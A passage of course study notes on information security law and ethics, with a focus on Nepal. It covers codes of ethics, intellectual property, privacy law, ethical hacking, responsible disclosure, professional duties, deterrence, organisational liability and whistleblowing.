- Easily understood: translations, versions for visually impaired or low-literacy employees (comprehension).
- Acknowledged by the employee, usually a signed consent form (compliance).
- Uniformly enforced for all, senior staff included (uniform enforcement).
Mnemonic: Dashain Ramailo, Uncle Aafai Udaayo (distributed, readily available, understood, acknowledged, uniformly enforced): Dashain was fun until Uncle flew the kite by himself, the senior who exempts himself.
Whitman and Mattord's names: dissemination, review, comprehension, compliance, uniform enforcement; the chapter 7 deck adds a sixth, development using industry-accepted practice.
Example: a Kathmandu hospital dismisses a clerk for copying patient files to a USB stick; the dismissal stands only if the ban was emailed, on the intranet, in Nepali and English, signed on joining, and applied to a senior doctor too; otherwise her "I never knew" defence works.
Ethical frameworks: the codes a security professional signs
Code of ethics: principles a professional body requires members to follow; breaking it can cost membership or certification, so the profession enforces standards the law does not reach. Codes give guidance in grey areas, a common standard, grounds for discipline, and public trust.
The deck's point: ISACA (once the Information Systems Audit and Control Association, now known by its initials alone), SANS (SysAdmin, Audit, Network and Security Institute; the class notes: System Administration, Networking and Security Institute) and (ISC)² have codes of conduct or ethics; losing accreditation or certification for a violation is itself a deterrent (it can dramatically reduce marketability and earning power). IS professionals act ethically and according to the policies of the employer, the professional organisation, and the laws of society.
Ten Commandments of Computer Ethics (Computer Ethics Institute, 1992)
The first eight begin "Thou shalt not".
| No. | Rule | Keyword | A breach |
|---|---|---|---|
| 1 | Do not use a computer to harm other people | harm | spreading malware; cyberbullying a classmate |
| 2 | Do not interfere with other people's computer work | interfere | flooding a rival team's project server before the demo |
| 3 | Do not snoop around in other people's computer files | snoop | reading a roommate's chats on her unlocked phone |
| 4 | Do not use a computer to steal | steal | draining a wallet with a stolen OTP |
| 5 | Do not use a computer to bear false witness | false witness | a doctored screenshot; planting evidence |
| 6 | Do not copy or use proprietary software for which you have not paid | pirate | a cracked copy of paid design software |
| 7 | Do not use other people's computer resources without authorisation or proper compensation | resources | mining cryptocurrency on the college lab's computers |
| 8 | Do not appropriate other people's intellectual output | plagiarise | submitting a friend's code as one's own |
| 9 | Think about the social consequences of the program or system being designed | consequences | an app that makes stalking easy |
| 10 | Always use a computer with consideration and respect for others | respect | trolling in comment sections |
Mnemonic: Hari Itaharibata Saathi Sanga Fewa Pugera Rakshi Piyo, Chhitai Ruyo (harm, interfere, snoop, steal, false witness, pirate, resources, plagiarise, consequences, respect): Hari came from Itahari with a friend, reached Phewa, drank rakshi, and soon cried.
The deck glosses the fifth as "planting evidence"; its eighth reads "Inappropriate", a slip for "appropriate" (take as one's own).
ISC2 Code of Ethics
ISC2 (long written (ISC)²): non-profit behind the CISSP; strict adherence is a condition of certification. Preamble: safety and welfare of society, the common good, duty to principals and to each other. Four mandatory canons:
- Protect society, the common good, necessary public trust and confidence, and the infrastructure (warn users of a dangerous flaw; refuse illegal surveillance systems).
- Act honorably, honestly, justly, responsibly, and legally (truthful results, authorised testing).
- Provide diligent and competent service to principals (confidentiality, current skills, declared conflicts).
- Advance and protect the profession (mentor, share, report violators).
Conflicts between canons are resolved in their order: society before employer. Members seeing a violation must use the ethics complaint procedure: a sworn complaint to the Ethics Committee, recommendation to the board, which can revoke certification. The notes quote the older canon 1 wording ("the common-wealth"); both name the same duty.
Other codes
| Body | Who | Core |
|---|---|---|
| ACM Code of Ethics and Professional Conduct (2018) | computing professionals | contribute to society and human well-being; avoid harm; be honest and trustworthy; be fair and do not discriminate; respect the work behind new ideas; respect privacy; honour confidentiality; access systems only when authorised or compelled by the public good (2.8); robustly and usably secure systems (2.9) |
| ISACA Code of Professional Ethics | CISA, CISM | compliance with standards, objectivity and due diligence, privacy and confidentiality, competence, truthful reporting |
| GIAC Code of Ethics (SANS) | holders of GIAC (Global Information Assurance Certification) certificates, SANS's certification arm | the code SANS sets for its GIAC certifications: respect for the public, the certification, the employer, oneself |
| EC-Council Code of Ethics | CEH | authorised work only, client confidentiality, no misuse of skills or tools |
Intellectual property: copyright, trademark, patent and trade secret
Intellectual property: creations of the mind (software, brands, inventions, formulas) the law lets the owner control; the kinds differ in what they protect, how protection is obtained, how long it lasts.
Idea and expression: the law protects expression, not the idea. Nepal's Copyright Act 2059 (2002) section 4: no copyright in thought, concept, principle or method of operation.
- Copyright: expression of an idea in literary, musical, dramatic and artistic works and software source code (Nepal lists computer program as a work); automatic on creation, registration optional (section 5, Nepal); lasts for the life of the author plus 70 years in the US (plus 50 in Nepal). Example: SIEM source code.
- Trademark: words, slogans, logos identifying a company and its products; purpose: avoid marketplace confusion; registered with the IP office. Example: a bank's name and logo copied by a fake banking app (trademark infringement plus fraud).
- Patent: inventor's rights over an invention in exchange for publishing it; must be new, useful, not obvious. Example: RSA public key algorithm, US patent 1983, expired 2000.
- Trade secret: intellectual property critical to a business that must not be disclosed: information valuable because secret, protected by reasonable measures (NDAs, access control); nothing registered or published, so it avoids the disadvantages of copyrights and patents (disclosure, expiry); lost if leaked or legitimately reverse engineered. Examples: Coca-Cola's formula, a vendor's detection rules.
Three criteria for a patent
- New (novelty): not known, used or published before the application.
- Useful (utility, industrial application): works and has a practical use.
- Not obvious (inventive step): not an obvious next step to a skilled person in the field.
Figure: four columns, copyright, trademark, patent, trade secret, compared on what each protects, its test, how obtained, term in the US, term in Nepal, and an example.
| Point | Copyright | Trademark | Patent | Trade secret |
|---|---|---|---|---|
| Protects | expression of an idea | names, logos, slogans | an invention | confidential business information |
| Obtained by | creation (automatic) | registration | application and examination | keeping it secret |
| Disclosed | yes | yes | yes | never |
| Term, US | life + 70 years | 10 years, renewable without limit | 20 years from filing | indefinite, while secret |
| Term, Nepal | life + 50 years (section 14) | 7 years, renewable without limit | 7 years, renewable twice (21 at most) | no separate Act; contracts |
Nepal's IP laws: Copyright Act 2059 (2002): life + 50; applied art and photographs 25 years; infringement, including making or importing devices that defeat copy protection, fined Rs 10,000 to Rs 100,000 or up to six months or both, more on repeat (section 27). Patent, Design and Trademark Act 2022 (1965), Department of Industry: patents 7 years renewable twice, designs 5 years renewable twice, trademarks 7 years renewable without limit (sections 8, 14A, 18D, 23B); trademark unused a year after registration can be cancelled (section 18C).
Economic Espionage Act 1996 (US): theft of proprietary economic information a federal crime; theft no longer limited by physical constraints (copying a file is enough); economic espionage when intended or known to benefit a foreign government, instrumentality or agent. The deck's ex-Google engineer case (2024 to 2026) shows the two crimes apart: the trade secret thefts stood, the espionage counts fell for want of that intent. Oracle v. Google (Java code in Android) was a copyright case Google won on fair use.
Example: one Kathmandu momo shop: its signboard name and logo (trademark), its menu card's photos and words (copyright), a faster steamer it invented (patent, if new, useful, not obvious), the family's secret achar recipe (trade secret, only while kept secret).
Licensing: software is licensed, not sold: contractual (written agreement), shrink-wrap (terms on the package, accepted by opening), click-through (accepted by clicking "I agree"), cloud services (online terms of service, changeable by the provider). Open source: permissive (MIT) to copyleft (GPL, derivatives stay open).
The class notes give the US terms; Nepal's differ (copyright life + 50, trademark 7 years, patent 7 renewable twice).
Privacy and data protection: the concepts and the principles
Privacy: a person's right to control information about themselves and to be free from unwanted intrusion. Data protection: rules and safeguards that make organisations collect, use, store and share personal data lawfully, fairly and securely.
Privacy is not security: security protects all data from unauthorised access; privacy asks whether even authorised use is appropriate. Security without privacy is possible (a guarded database whose owner sells it); privacy without security is not. Confidentiality (CIA) is what privacy leans on.
- Personal data: information about an identified or identifiable person: name, citizenship number, phone, address, photo, location, IP address.
- Sensitive data: health, religion, caste or ethnicity, political views, sexual orientation, biometrics; in Nepal's Privacy Act also property details.
- Data subject: the person; controller: decides why and how data is processed; processor: processes on the controller's behalf (a cloud provider).
OECD privacy guidelines (1980), eight principles
| Principle | Meaning | Example |
|---|---|---|
| Collection limitation | only what is needed, lawfully, with knowledge or consent | a hostel form asks for a phone number, not a citizenship scan |
| Data quality | relevant, accurate, complete, current | wrong addresses corrected on request |
| Purpose specification | purpose stated at collection | number used for exam alerts |
| Use limitation | no other use without consent or legal authority | exam numbers not sold for marketing |
| Security safeguards | protect against loss, access, misuse | encryption, access control, backups |
| Openness | practices and policies public | a privacy notice |
| Individual participation | people see and correct their data | a student corrects her record |
| Accountability | controller answers for compliance | a named data protection officer |
Privacy by design (Ann Cavoukian): proactive; privacy as the default; embedded in design; full functionality; end-to-end security; visibility and transparency; respect for the user.
Privacy-enhancing techniques: minimisation; anonymisation (identifiers removed for good); pseudonymisation (tokens reversible only with a separately held key); encryption; role-based access; retention limits and secure deletion; consent management.
Privacy impact assessment (lab 16)
PIA (a DPIA under GDPR Article 35) checks a new system's effect on privacy before go-live:
- Screen: needed? (new or sensitive personal data, monitoring, new technology)
- Describe the processing: what data, whose, why, where stored, who accesses, how long.
- Consult: data owners, IT, security, legal, affected people.
- Assess necessity and legality: legal basis, consent, proportionality.
- Identify and rate risks to individuals: leaks, misuse, excessive collection, function creep.
- Plan mitigations: minimise, pseudonymise, encrypt, restrict access, set retention.
- Sign off, record, act; review when the system changes.
Example: face recognition attendance at a college: biometric data, leak and misuse risk; store templates not photos, encrypt, delete at graduation, tell students, offer ID cards instead.
Nepal: Constitution 2072 (2015) Article 28 makes the privacy of residence, property, documents, data, correspondence and character inviolable except as the law allows; the Privacy Act 2075 (2018) details it.
Privacy laws: the GDPR, and Nepal's Privacy Act side by side
GDPR: General Data Protection Regulation (EU) 2016/679, in force May 2016, applied from 25 May 2018; binds any organisation anywhere that offers goods or services to, or monitors, people in the EU.
- Seven principles (Article 5): lawfulness, fairness and transparency; purpose limitation; data minimisation; accuracy; storage limitation; integrity and confidentiality; accountability.
- Six lawful bases (Article 6): consent, contract, legal obligation, vital interests, public task, legitimate interests.
- Rights (Articles 12 to 22): to be informed; access; rectification; erasure ("right to be forgotten"); restriction; data portability; to object (including direct marketing); not to be subject to solely automated decisions, including profiling.
- Duties: data protection by design and by default (Article 25); DPIA for high-risk processing (Article 35); DPO for public bodies, large-scale monitoring or sensitive data (Article 37); breach notice to the supervisory authority within 72 hours (Article 33), to affected people when risk is high (Article 34); limits on transfers outside the EU.
- Fines (Article 83): up to EUR 20 million or 4% of worldwide annual turnover, whichever is higher.
The class notes say 24 hour breach notification; the GDPR says 72 hours; 24 hours is NIS2's early warning.
US sector laws:
- Fourth Amendment: the constitutional basis of privacy rights.
- Privacy Act 1974: federal agencies may not disclose personal records without written consent.
- Electronic Communications Privacy Act (ECPA) 1986: invading a person's electronic privacy (intercepting or accessing communications) a crime.
- Health Insurance Portability and Accountability Act (HIPAA) 1996: strict security for hospitals, physicians and insurers to protect health information; the HITECH Act 2009 updated HIPAA, tightening its privacy and security requirements.
- Children's Online Privacy Protection Act (COPPA) 1998: websites catering to children, or knowingly collecting their data, need parental consent for those under 13.
- Gramm-Leach-Bliley Act (GLBA) 1999: financial data.
Nepal's Privacy Act 2075 (2018)
Act 14 of 2075, authenticated 2 Asoj 2075 (18 September 2018), in force at once; also called the Individual Privacy Act; Individual Privacy Regulation 2077 (2020) adds procedure. Covers privacy of body and family, residence, property, documents, data, correspondence, character, electronic means.
- Personal information (section 2): caste, ethnicity, religion, education, address, phone, email, citizenship, passport and other IDs, biometrics, criminal record.
- Consent and purpose (section 12): collect with consent, use only for the stated purpose; research or survey collection must state time, content, purpose and protection (section 23).
- No disclosure without consent (section 12): health, property, employment, family, biometric, signature, political, business details; except to a court or investigator.
- Protection duty (section 25): public bodies guard personal information against unauthorised access, use, change, disclosure, transmission.
- Sensitive information (section 27): caste, ethnicity or origin, political affiliation, religious belief, health, sexual orientation, property details: not processed by public bodies (exceptions: health care, self-published).
- Correction (section 28).
- Electronic means: no unauthorised obtaining or passing on, no recording without consent (section 19); CCTV never in toilets, bathrooms or changing rooms, with notice (section 20); no electronic surveillance or espionage (section 21); no drones for secret information (section 22).
- Enforcement: up to 3 years or Rs 30,000 or both (section 29); complaint to the District Court within three months (section 30); compensation (section 31).
| Point | GDPR | Nepal's Privacy Act 2075 |
|---|---|---|
| Reach | people in the EU, any organisation worldwide | persons in Nepal; public bodies and body corporates |
| Legal basis | six lawful bases | consent, or authority under law |
| Sensitive data | special categories restricted | listed; public bodies may not process |
| Rights | access, rectification, erasure, restriction, portability, objection, automated decisions | correction, compensation |
| Regulator | independent authority per member state | none; District Court |
| Breach notification | 72 hours | no duty |
| DPO, DPIA | required in defined cases | not required |
| Maximum penalty | EUR 20 million or 4% of turnover | 3 years or Rs 30,000 or both |
Verdict: strong on physical privacy (bodies, homes, CCTV, drones); for data it lacks a regulator, breach notification and modern data subject rights. The deck: Privacy Act 2075 and Privacy Regulation 2077 (2020), but "no GDPR level act yet"; the EU and US differ by culture as much as law.
Example: a Nepali wallet leaks users' citizenship scans; for EU users it would owe the regulator notice within 72 hours and risk a fine up to 4% of worldwide turnover; in Nepal there is no regulator and no clock, and each victim goes to the District Court within three months.
Ethical hacking: permission is the line between a test and a crime
Ethical hacking: simulating real attacks on a system with the owner's written permission, to find and fix weaknesses before criminals exploit them; attacker's techniques, but authority, limits and purpose differ.
| Type | Permission | Intent | Example |
|---|---|---|---|
| White hat | yes, written | defensive: find and report flaws | penetration tester, bug bounty hunter |
| Grey hat | no | not malicious, breaks in uninvited, discloses or asks a fee | probes a college portal, emails the administrator |
| Black hat | no | malicious: steal, extort, damage | ransomware gang |
| Script kiddie | no | thrill, fame; others' tools | defacing with a downloaded kit |
| Hacktivist | no | a cause | DDoS against a government site |
| State-sponsored | own state only | espionage, sabotage | advanced persistent threat groups |
Red team attacks, blue team defends and detects, purple team exercises combine both.
Permission is everything: ETA section 45 punishes access without, or beyond, the owner's authorisation (up to Rs 200,000 or 3 years or both); the US CFAA is similar. Good intent is no defence. The US Justice Department said in 2022 it would not charge good-faith security research under its act; Nepal's law has no such exception.
Authorisation, scope, rules of engagement
- Authorisation: written, signed by someone with authority over the systems (the owner), plus an NDA; respect third-party hosts' (cloud) rules.
- Scope: IP ranges, domains, applications, sites, staff (social engineering), production or test, dates and hours.
- Rules of engagement: allowed techniques (no denial of service, no destructive exploits, social engineering only if agreed); personal data handling (prove with a record count or screenshot, never download); emergency contacts; stop rule if a system crashes or a critical flaw appears; evidence and report handling.
Engagement steps
- Pre-engagement: authorisation, scope, rules of engagement, contract.
- Reconnaissance: public information (domains, staff, technology).
- Scanning and enumeration: hosts, ports, services, versions, known vulnerabilities.
- Gaining access: exploit chosen flaws within scope, minimum proof.
- Post-exploitation: escalation or lateral movement only as far as needed to show impact.
- Reporting: findings, evidence, risk ratings, fixes, confidential; critical flaws at once.
- Clean-up and retest: remove accounts and tools, verify fixes.
Models: EC-Council CEH five phases: reconnaissance, scanning, gaining access, maintaining access, covering tracks (an ethical hacker documents and restores instead of hiding). NIST SP 800-115: planning, discovery, attack, reporting. Chapter 7 treats penetration testing and vulnerability scanning as assessment methods.
Ethical challenges: consent (else illegal); privacy of confidential data found; staying in scope; honest reporting; conflicts of interest (selling the fix); releasing reusable tools and exploits.
Example: a Kathmandu fintech engagement: scope is the mobile app API and two web servers, core banking excluded, no denial of service, test accounts only; testers find that changing an ID in an API call returns another user's statement; they stop, report it the same day, retest after the fix.
Responsible disclosure: report privately, fix, then publish
Responsible disclosure (now coordinated vulnerability disclosure): the finder reports a new flaw privately to the vendor or owner, allows a reasonable agreed time to fix it, and publishes details only after a patch or after the deadline.
- Tell the public immediately (full disclosure): users warned, vendor pressed, but attackers get a perfect roadmap before any patch; a zero-day is born.
- Tell the company privately with no deadline, or tell nobody (non-disclosure): time to fix, no roadmap for attackers, but a careless company may ignore the flaw or try to cover it up; worst case, sold to a broker.
- Responsible disclosure: a delicate balance between protecting users and giving the organisation time to patch.
Figure: six steps on a timeline, find and verify (day 0), report privately (day 1), vendor acknowledges (within days), fix and test with advisory and CVE (weeks), patch released (before day 90), publish with credit (patch + 30 days); a bracket marks the private window of about 90 days; a dashed lane says publish anyway at the deadline; full disclosure and non-disclosure shown as the extremes.
Process
- Find and verify with minimum testing: prove the flaw, keep no data, touch no other users.
- Find the right contact:
security.txt(RFC 9116), the bug bounty programme, or a coordinator such as a national CERT. - Report privately with reproduction details; agree a timeline.
- Vendor acknowledges and triages within days.
- Fix built and tested; advisory written; CVE identifier assigned.
- Patch released; users told to update.
- Coordinated publication crediting the researcher.
Deadlines: Google Project Zero: 90 days to fix, details 30 days after the patch ("90+30"), 7 days when exploited in the wild. CERT/CC: 45 days after the first report, patch or not. Standards: ISO/IEC 29147 (disclosure), ISO/IEC 30111 (vendor handling).
| Model | Details go public | Good | Bad |
|---|---|---|---|
| Full disclosure | immediately | users warned; vendors pressed | attackers armed before a patch |
| Non-disclosure | never, or when the vendor chooses | no roadmap for attackers | vendors may never fix; flaws sold |
| Responsible (coordinated) | after the patch or at the deadline | fix first, then shared knowledge | users exposed during the window |
Duties: researcher proves no more than needed, keeps no data, stays quiet until publication, never demands money under threat of publishing (extortion). Vendor publishes a disclosure policy, answers quickly, fixes, credits, does not threaten good-faith researchers. Bug bounty programmes formalise this: published scope, rewards, a promise not to sue.
Example: changing the account number in a bank's web address shows another customer's balance. Irresponsible: a video on social media; criminals harvest balances within hours. Responsible: stop after one check, email the bank's security team, agree to 60 days; patch on day 55; write-up with credit on day 61.
Nepal: ETA section 45 has no good-faith research exception; even verifying is unauthorised access without the owner's permission; keep testing minimal, report through the official channel.
Professional ethics: the duties that come with privileged access
Professional ethics: the standard of conduct a profession expects at work: integrity, competence, confidentiality and loyal service to the employer or client, always within the law and the public interest. Security staff hold administrator accounts, personal data and knowledge of every weakness; one dishonest or careless act can expose thousands, often unseen.
Ethical and professional issues: three standards in one person (the deck's slide): professionalism (the professional standard), ethics (common belief), morality (personal belief); plus the law.
Figure (the lecture's): the IS professional at the centre of four pulls: profession and code of conduct, society and public safety, state and legislation, personal values; a dilemma is when two pull apart (a manager's order against public safety).
| Duty to | What it means | Example |
|---|---|---|
| Society | protect people and infrastructure; safety first | refuse to sign off a system known to endanger users |
| Employer or client (principals) | diligent, competent, honest, confidential service | report every finding, even embarrassing ones |
| Profession | keep standards and reputation high | honest certifications; mentor juniors |
| Colleagues and self | fairness, credit, honesty about one's limits | decline a forensic job beyond one's skills |
Core principles
- Integrity and honesty: truthful reports and time sheets, no hidden incidents, no inflated credentials.
- Confidentiality: client systems and staff information stay private.
- Competence: only in areas of competence (ACM 2.6); skills kept current.
- Objectivity: no conflicts of interest (nobody audits their own work; vendor gifts declined and declared).
- Least use of privilege: administrator rights for assigned tasks only.
- Lawfulness: authorisation, privacy law.
- Accountability: own and report mistakes.
Why people act unethically and how deterrence stops them, and the organisation's liability (due care, due diligence), are the next two cards.
Dilemmas
- Told to hide a breach: Uber, 2016: data on about 57 million riders and drivers stolen; the security chief had the attackers paid USD 100,000 through the bug bounty programme and sign NDAs; revealed November 2017; convicted in 2022 of obstructing a federal investigation and concealing a felony.
- Curiosity with privilege: an administrator able to read the director's mail may not.
- Illegal content on a work laptop: preserve and report through legal channels; never delete or share it.
- A new job: the old employer's data, tools and client lists stay behind.
Consequences: dismissal, loss of certification, civil liability, crime. Nepal: divulging a confidential matter learned in professional work, National Penal Code 2074 section 294, up to one year or Rs 10,000 or both; Privacy Act section 18 forbids the same; ETA section 48, breach of confidentiality by a person given access, up to Rs 100,000 or 2 years or both.
Why criminals offend, and how deterrence stops them
Deterrence: preventing illegal or unethical acts by making them a bad bet: laws, policies and technical controls that raise the chance and cost of being caught; the deck's best method of prevention, and the job of information security staff through policy, education and training, and technology, as controls or safeguards that protect the information and systems.
The criminal's cost-benefit ratio
Kshetri ("The simple economics of cybercrimes", IEEE Security & Privacy, 2006), on the deck: a person commits the crime when
- : monetary benefit; : psychological benefit (thrill, fame, revenge, the puzzle).
- : cost of committing the crime (tools, time, effort).
- : monetary cost of conviction (future lost opportunities, legal costs).
- : probability of being apprehended and arrested; : probability of conviction.
The cost of conviction is multiplied by both probabilities, so a harsh penalty counts for little when arrest is unlikely: cyber crime's problem (attackers abroad, anonymous, small and ).
Figure: a balance: expected gain (, ) on the left pan, expected cost ( plus the expected penalty) on the right; controls that cut the gain under the left, the three conditions of deterrence raising , , under the right; the 10:80:10 bar below.
Example (made-up, lakh rupees): , , ; with , the right side is about 0.9, so the crime pays; with , it is 6.5; bank fraud checks that cut to 5 make , and the opportunist walks away.
10:80:10 model: 10% would never commit a crime; 80% are opportunists; 10% cannot be deterred. Raising the probability of being caught and lowering the chance of success deters the 80% and makes it harder for the "evil 10". Hostel example: one in ten never touches a roommate's unlocked laptop, one in ten tries whatever the lock, eight look only when easy and unseen.
Three causes, three remedies
| Cause | What it is | Remedy |
|---|---|---|
| Ignorance | not knowing the rule; ignorance of the law is no excuse, of policies and procedures is | education: design, publish, disseminate policies and laws; explicit agreement; reminders, training, awareness, which support retention and, one hopes, compliance |
| Accident | honest mistake; privileged users have the greatest opportunity to harm by accident | careful placement of controls against accidental changes: confirmations, least privilege, change control, backups |
| Intent | criminal or unethical state of mind (mens rea); a legal defence often turns on ignorance, accident or intent | litigation, prosecution, technical controls |
When laws and policies deter
Deterrents: laws, policies, technical controls; they deter only when three conditions are present together:
- Fear of the penalty: an informal reprimand or verbal warning does not weigh like imprisonment or forfeited pay.
- Probability of being caught: a strong possibility that offenders will be caught, and (the class notes) they must believe it.
- Probability of the penalty being administered: the organisation willing and able to impose it.
One idea, two models: fear of the penalty is , being caught is , the penalty applied is ; remove any one and the expected penalty collapses.
Example: the helmet rule on a Kathmandu road: the fine (fear), a traffic officer at every chowk (caught), the fine actually charged with no let-off (administered); remove one and the helmets come off.
Organisational liability: when the organisation pays for its people's acts
Liability: a legal obligation, being answerable and possibly made to pay for a harm. Organisational liability: if an employee, acting with or without authorisation, performs an illegal or unethical act causing some degree of harm, the organisation can be held financially liable. The deck's questions: what if an organisation does not support or encourage ethical conduct, and what if it does not itself behave ethically?
- Due care: measures that make every employee know what is acceptable and what is not, and the consequences of illegal or unethical actions (policies, training, signed agreements); refusing them increases liability; failing due care is negligence.
- Due diligence: a valid and ongoing effort to protect others: checking the measures work, keeping them current (patching, audits, screening, tested backups).
In one line: due care is doing the right thing; due diligence is checking it is still being done (chapter 1 teaches the pair as governance). The class notes: due care is "doing what a reasonable person would do", building a formal security structure of policies, standards and procedures, and failing to is negligence; due diligence is the management of due care, the follow-through that shows it is practised (background checks, tested backups, patches verified as applied).
Legally defensible security
To obtain legal restitution, show:
- A crime was committed: logs, alerts, evidence of the act and harm.
- The suspect committed it: evidence tied to a person, kept with a chain of custody.
- Reasonable efforts to prevent it: documented policies, controls, training.
Without the third, the victim looks negligent and customers and regulators turn on the organisation.
Nepal: ETA section 57 (the deck's last page): an offence by a corporate body is deemed committed by the person chiefly responsible for running it, unless that person proves no knowledge or all reasonable efforts to prevent it; with the consent, knowledge or negligence of a director, manager, secretary or other responsible person, the company and that person are liable. "All reasonable efforts" is due care and due diligence in the Act.
Cases: Equifax: an Apache Struts flaw left unpatched on a customer portal for about two months in 2017; data on about 147 million people taken; up to USD 700 million paid in 2019. Morrisons: in 2014 a grudge-bearing internal auditor leaked the payroll data of almost 100,000 colleagues and was jailed; two courts held the company liable for him, but in 2020 the UK Supreme Court did not (a personal vendetta, not his job): liability for an employee is the rule, with limits.
Example: a school bus crash: parents sue the school too; its defence is the speed governor fitted, the driver's training and licence check, the trip logs: proof of reasonable efforts.
Social responsibility: security as a duty to society
Social responsibility in cybersecurity: the obligation of professionals and organisations to protect not only their own assets but society at large: people's safety, rights and trust in digital services, especially where lives and critical services depend on them.
Why: payments, hospitals, power, water, elections and government run on computers; failures harm people who never chose the system; professionals know what the public does not; hence a moral obligation to protect lives as cybersecurity becomes critical to public services.
The deck's three observations: the primary focus of cybersecurity is usually keeping an organisation's digital assets safe from theft, leakage or destruction, but it reaches further: security depends not just on the organisation but on an external community of suppliers, researchers and open-source developers; breaches can hurt customers, employees and other third parties more than the organisation; attacks on critical services put lives at risk, so professionals have a moral obligation to try to protect lives.
The community at work: March 2024, Andres Freund, a Microsoft engineer, noticed SSH logins taking about half a second too long and traced it to a backdoor in xz Utils, a volunteer-maintained compression library shipped with most Linux systems; a contributor had spent two years winning the maintainer's trust; caught before it reached the stable releases most servers run.
Real harm: WannaCry disrupted parts of the UK's National Health Service (May 2017), cancelling appointments; Ukraine grid attack (December 2015) left about 225,000 customers without power; the January 2023 DDoS on Nepal's Government Integrated Data Centre stopped immigration clearance at Tribhuvan International Airport and delayed international flights. Nepal Rastra Bank's Cyber Resilience Guidelines 2023 treat cyber risk as a threat to financial stability and public confidence.
| Practice | What it looks like |
|---|---|
| Protect critical services first | patch and monitor hospitals, power, banks, emergency lines |
| Share threat information | with CERTs, sector groups, the National Cyber Security Centre (threat intelligence) |
| Raise awareness | phishing, scam and password hygiene for families, schools, small businesses |
| Protect vulnerable users | children, the elderly, women facing online harassment (ETA section 47 since 2072) |
| Build secure, privacy-respecting products | secure defaults, minimisation, honest breach notices |
| Disclose responsibly | report others' flaws privately; fix reported flaws fast |
| Refuse harmful work | no spyware for illegal surveillance, no tools for abuse |
| Respect rights | no censorship or mass surveillance in the name of security |
| Speak up | report wrongdoing through proper channels, whistleblowing if necessary |
Organisations: corporate social responsibility: transparent breach notices, bug bounties, support for national CERTs, free training, open-source contributions, reports on government data requests.
Security against rights: Nepal's directive on managing social media 2080 (2023) required platforms to register; TikTok banned November 2023 to August 2024; blocking 26 unregistered platforms on 4 September 2025 set off the Gen Z protests that brought down the government within days. Weigh public safety against free expression and privacy.
Example: a hospital IT officer patches an actively exploited VPN flaw overnight despite unscheduled downtime, and shares indicators with the national CERT so other hospitals act.
Whistleblowing, and protecting the person who does it
Whistleblower: an insider, typically an employee, who reports wrongdoing by their own organisation (illegal, fraudulent, immoral, or without proper regard for safety or human rights) to people who can act. Protecting whistleblowers: laws and policies that keep identity confidential and forbid firing, demoting or harassing them for a good-faith report.
Grey area: disloyal to the employer, but out of moral obligation to the public interest; about the organisation behaving badly, not a technical bug (unlike responsible disclosure); socially responsible when the issue genuinely concerns the public. Cultures differ: protected and encouraged in the UK and US, often seen as betrayal of the group in Japan.
Channels, usual order
- Internal: manager, information security officer, compliance, ethics hotline, audit committee, board.
- External authority: regulator (Nepal Rastra Bank for a bank), police, oversight body.
- Public, last resort: media, when proper channels fail and the danger is serious.
Good practice: facts only; evidence of the wrongdoing, not others' personal data; the proper channel; a record of each report.
| Point | Whistleblower | Leaker | Malicious insider |
|---|---|---|---|
| Motive | public interest | conscience, politics, attention | revenge, money |
| Goes to | an authority that can act | media, internet | competitor, criminal, dark web |
| Discloses | evidence of wrongdoing | often large document sets | trade secrets, customer data, credentials |
| Law's view | protected in good faith via proper channels | disputed, often prosecuted | a crime (insider threat) |
Protection in law
- Nepal: Right to Information Act 2064 (2007) section 29: employees of public bodies should report ongoing or likely corruption, irregularities or offences; identity kept confidential; no removal, punishment or harm; complaint to the National Information Commission, which can revoke the decision and order compensation. No comprehensive whistleblower Act; private sector employees have no equivalent statutory shield.
- US: Whistleblower Protection Act 1989 (federal employees); Sarbanes-Oxley Act 2002 (listed-company employees reporting fraud); Dodd-Frank Act 2010 (rewards through the securities regulator).
- EU: Directive (EU) 2019/1937: safe internal and external channels, retaliation banned.
Inside an organisation: written whistleblowing policy, anonymous hotline, independent investigation, strict anti-retaliation rule, feedback to the reporter.
Examples: a car maker's engineer reports managers skipping a critical safety patch to the transport safety regulator; she cannot be fired for it. Frances Haugen (2021) gave Facebook's internal research to US regulators and Congress and testified before the Senate. Edward Snowden (2013) disclosed US mass surveillance: a whistleblower to many, a criminal leaker to the US government (charged under the Espionage Act).
Cyber law in Nepal: the Constitution, the ETA and its computer offences
Cyber law in Nepal: rests on the Constitution's rights to privacy and communication and on the Electronic Transactions Act 2063 (2008), supported by the Privacy Act 2075 (2018), the National Penal Code 2074 (2017), the IP Acts and sector regulators' rules.
Figure: Nepal's cyber law in four layers: the Constitution (Articles 19, 27, 28); the Acts (ETA, Privacy Act, Penal Code, IP Acts, E-Commerce Act, RTI Act); policy and sector rules (Cyber Security Policy 2080, NRB guidelines, NTA byelaw, social media directive); who applies them (Cyber Bureau, National Cyber Security Centre, district courts, Controller).
Constitution of Nepal 2072 (2015): the deck's three rights: privacy (Article 28: residence, property, documents, data, correspondence and character inviolable except in accordance with law), information (Article 27), freedom of opinion and expression (Article 17(2)(a)); the right to communication (Article 19) bars prior censorship of publication and broadcasting, electronic included.
Nepal's laws by area (the deck's slide on the relevant laws in Nepal, plus later Acts)
| Area | Law | What it adds |
|---|---|---|
| Core cyber and IT | Electronic Transactions Act 2063 (2008) | electronic records, digital signatures, computer offences |
| Privacy and data protection | Privacy Act 2075 (2018); Individual Privacy Regulation 2077 (2020) | consent and purpose limits, CCTV and drone rules; up to 3 years or Rs 30,000; no GDPR level Act yet |
| Constitutional and human rights | Constitution of Nepal 2072 (2015) | privacy, information, expression, communication |
| Media, content and online expression | National Broadcasting Act 2049 (1993); Press and Publication Act 2048 (1991) | licensing of radio and television; registration of newspapers and printing presses |
| Intellectual property | Copyright Act 2059 (2002); Patent, Design and Trademark Act 2022 (1965) | software a protected work, life + 50 years; patents, designs, trademarks |
| Telecommunications and surveillance | Telecommunications Act 2053 (1997) | licenses telecom and internet providers through the Nepal Telecommunications Authority it sets up |
| Crime against privacy | National Penal (Code) Act 2074 (2017), in force 17 August 2018 | recording conversations without consent (293, up to 2 years or Rs 20,000); divulging professional confidences (294); photographs without consent, morphing (295, 296); opening letters, tapping phones (297); breaching privacy through electronic means (298, up to 2 years or Rs 20,000); annoying or threatening messages including electronic (300); defamation (305, 306) |
| Commerce and banking | Electronic Commerce Act 2081 (2025); Banking Offence and Punishment Act 2064 (2008) | online sellers listed, customers' personal information confidential (section 12); unauthorised withdrawals and electronic payments |
| Whistleblowers | Right to Information Act 2064 (2007) | whistleblowers in public bodies (section 29) |
Electronic Transactions Act 2063 (2008)
